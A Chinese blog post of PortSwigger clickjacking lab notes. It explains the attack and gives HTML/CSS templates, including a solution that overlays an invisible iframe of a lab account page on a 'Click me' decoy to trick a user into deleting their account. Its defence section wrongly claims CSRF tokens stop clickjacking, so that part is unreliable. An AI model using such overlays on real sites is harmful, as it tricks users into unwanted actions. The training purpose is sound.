当前位置: 首页 > news >正文

PortSwigger-03-点击劫持

一:漏洞原理

1、什么是点解劫持

  • 点击劫持是一种基于界面的攻击,用户通过点击诱饵网站中的一些其他内容,被诱骗点击隐藏网站上的可操作内容。
  • 一个网络用户访问一个诱骗网站(也许这是一个由电子邮件提供的链接)并点击一个按钮来赢得奖品。在不知不觉中,他们被攻击者欺骗,按下了另一个隐藏按钮,这导致了另一个网站上的帐户付款。这是一个点击劫持攻击的例子。该技术依赖于合并一个不可见的、可操作的网页(或多个网页),其中包含一个按钮或隐藏链接,比如说,在iframe中。iframe覆盖在用户预期的诱饵网页内容之上。
    (此攻击与 CSRF攻击的不同之处在于,用户需要执行按钮单击等操作,而CSRF攻击依赖于在用户不知情或不输入的情况下伪造整个请求)
  • 示例:网络用户访问诱饵网站(也许这是电子邮件提供的链接)并点击按钮以赢得奖品。在不知不觉中,他们被攻击者欺骗按下了另一个隐藏按钮,这导致在另一个站点上支付了帐户费用。这是点击劫持攻击的一个示例。该技术依赖于合并一个不可见的、可作的网页(或多个页面),其中包含一个按钮或隐藏的链接,例如,在 iframe 中。iframe 覆盖在用户预期的诱饵网页内容之上。这种攻击与 CSRF 攻击的不同之处在于,用户需要执行诸如按钮单击之类的作,而 CSRF 攻击则依赖于在用户不知情或输入的情况下伪造整个请求。
    在这里插入图片描述

2、防范攻击

  • 通常通过使用CSRF令牌来放置CSRF攻击:特定于会话的一次性使用数字或nonce。

3、构建基本的点击劫持实验

(1)点击劫持攻击使用CSS来创建和操作层。攻击者将目标网站合并覆盖在诱饵网站的iframe层

<head><style>#target_website {position:relative;width:128px;height:128px;opacity:0.00001;z-index:2;}#decoy_website {position:absolute;width:300px;height:400px;z-index:1;}</style>
</head>
...
<body><div id="decoy_website">...decoy web content here...</div><iframe id="target_website" src="https://vulnerable-website.com"></iframe>
</body>

二:PortSwigger靶场

1、使用 CSRF 令牌保护进行基本点击劫持

(1)题目要求:制作html页面来构建账户页面并欺骗用户删除账户(制作一个相同的界面)

<style>iframe {position:relative;width:$width_value;height: $height_value;opacity: $opacity;z-index: 2;}div {position:absolute;top:$top_value;left:$side_value;z-index: 1;}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>我的是:
<style>
iframe {position:relative;width:500px;height: 700px;opacity: 0.0001;z-index: 2;
}
div {position:absolute;top:500px;left:60px;z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a11000404d22a86c463666000e90017.web-security-academy.net/my-account"></iframe>

陆续更新中…

http://www.xdnf.cn/news/692749.html

相关文章:

  • ASP.NET Core OData 实践——Lesson6使用Action(C#)
  • 扩展摩尔投票法:找出出现次数超过 n/3 的元素
  • 《汇编语言》第11章 标志寄存器
  • LiveNVR :实现非国标流转国标流的全方位解决方案
  • 嵌入式自学第三十天(5.28)
  • Python |GIF 解析与构建(4):快速量化压缩256色算法
  • 关于uv 工具的使用总结(uv,conda,pip什么关系)
  • 在 MATLAB 2015a 中如何调用 Python
  • Spring Boot 读取.env文件获取配置
  • 金融全业务场景的系统分层与微服务域架构切分
  • 2025-05-28 Python-List-二分法
  • 实验设计与分析(第6版,Montgomery)第4章随机化区组,拉丁方, 及有关设计4.5节思考题4.26~4.27 R语言解题
  • 【HTML-14】HTML 列表:从基础到高级的完整指南
  • 从SEO到GEO:搜索范式迁移的三大断层
  • 算法分析·回溯法
  • JAX-WS 返回值<return>标签怎么修改
  • 植被监测新范式!Python驱动机器学习反演NDVI/LAI关键技术解析
  • Qwen3大模型本地部署及Python调用指南
  • 数据库管理-第330期 数据库国产化可以顺便做的事情(20250528)
  • SpringBoot使用ffmpeg实现视频压缩
  • 大模型应用开发第五讲:成熟度模型:从ChatGPT(L2)到未来自主Agent(L4)
  • 服务器开机自启动服务
  • css设置动态数值:clamp函数
  • Tailwind CSS 实战,基于 Kooboo 构建 AI 对话框页面(三):实现暗黑模式主题切换
  • kubernate解决 “cni0“ already has an IP address different from 10.244.0.1/24问题
  • FastAPI 依赖注入
  • c++第二章练习题
  • Java数值字符串相加
  • 英飞凌SBC芯片TLE9263QX for STM32的库函数与使用
  • ⭐️⭐️⭐️ 免费的AI Clouder认证 ⭐️⭐️⭐️ 第四弹【课时1:课程概览】for「大模型Clouder认证:基于通义灵码实现高效AI编码」